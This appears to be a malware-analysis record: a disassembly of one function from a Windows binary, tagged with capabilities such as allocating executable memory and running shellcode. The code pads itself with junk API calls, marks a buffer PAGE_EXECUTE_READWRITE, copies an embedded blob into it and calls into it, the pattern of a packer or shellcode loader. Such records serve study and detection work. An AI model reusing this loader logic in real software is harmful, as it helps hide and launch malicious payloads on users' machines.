Function at 0x4052e4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get disk size
Get file attributes
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1024
call fcn.0040eba0
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, 0xfa62c8f
jge 0x405327
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthFloatA]
push esi
call dword [sym.imp.GDI32.dll_GetBkMode]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
cmp edi, 0x207142
jg 0x405338
inc edi
cmp edi, 0x67d12
jl 0x4052f8
cmp dword [0x246ae54], 0x93
mov edi, dword [sym.imp.USER32.dll_LoadMenuW]
jne 0x4053f5
push esi
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuStringW]
push esi
push esi
call edi
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCA]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
push esi
push 0x404d90
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push esi
call fcn.0040667e
pop ecx
push esi
call fcn.00405e53
push ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.004063d0
fstp st(0)
add esp, 8
lea ecx, [ebp - 0x14]
call fcn.00405e7b
lea ecx, [ebp - 0x14]
call fcn.00405eb7
push esi
call fcn.00406218
pop ecx
push esi
call fcn.0040622e
pop ecx
push esi
push esi
call fcn.00405e3c
push esi
push esi
call fcn.004063a6
push esi
call fcn.004067e9
add esp, 0x14
push esi
call fcn.0040635c
pop ecx
add dword [0x246ae54], 0x1134b
push dword [0x246ae54]
mov eax, dword [0x443b5c]
push esi
mov dword [0x246bc90], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x246ae54]
mov dword [0x246a8e4], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, 0x1692e
push esi
push esi
call edi
push esi
call dword [sym.imp.USER32.dll_CharUpperA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec ebx
jne 0x405433
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor edi, edi
cmp dword [0x246ae54], esi
jbe 0x4054a4
mov eax, dword [0x246bc90]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x246a8e4]
mov byte [ecx + edi], al
cmp dword [0x246ae54], 0x490
jne 0x40549b
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push esi
call ebx
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
inc edi
cmp edi, dword [0x246ae54]
jb 0x405457
xor edi, edi
mov eax, dword [0x246ae54]
add eax, edi
cmp eax, 0x8d
jne 0x4054e2
push esi
lea eax, [ebp - 0x420]
push eax
push esi
push 0x404d8c
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
call dword [sym.imp.USER32.dll_GetMenu]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenEventW]
inc edi
cmp edi, 0x38681
jl 0x4054a6
call fcn.0040520a
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x61
jne 0x405511
mov dword [ebp - 4], esi
add dword [ebp - 4], 0x935c
mov eax, dword [ebp - 4]
add dword [0x246a8e4], eax
inc edi
cmp edi, 0x674bd
jl 0x4054f2
push 0x7b
pop edi
cmp dword [0x246ae54], 0x86
jne 0x405569
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
lea eax, [ebp - 0x820]
push eax
push 0x404e30
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalWire]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push esi
lea eax, [ebp - 0x1020]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
cmp dword [0x246ae54], 0xf
jne 0x40557c
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
dec edi
jne 0x40551d
push 0x404e48
call ebx
call dword [0x246a8e4]
pop edi
pop esi
pop ebx
leave
ret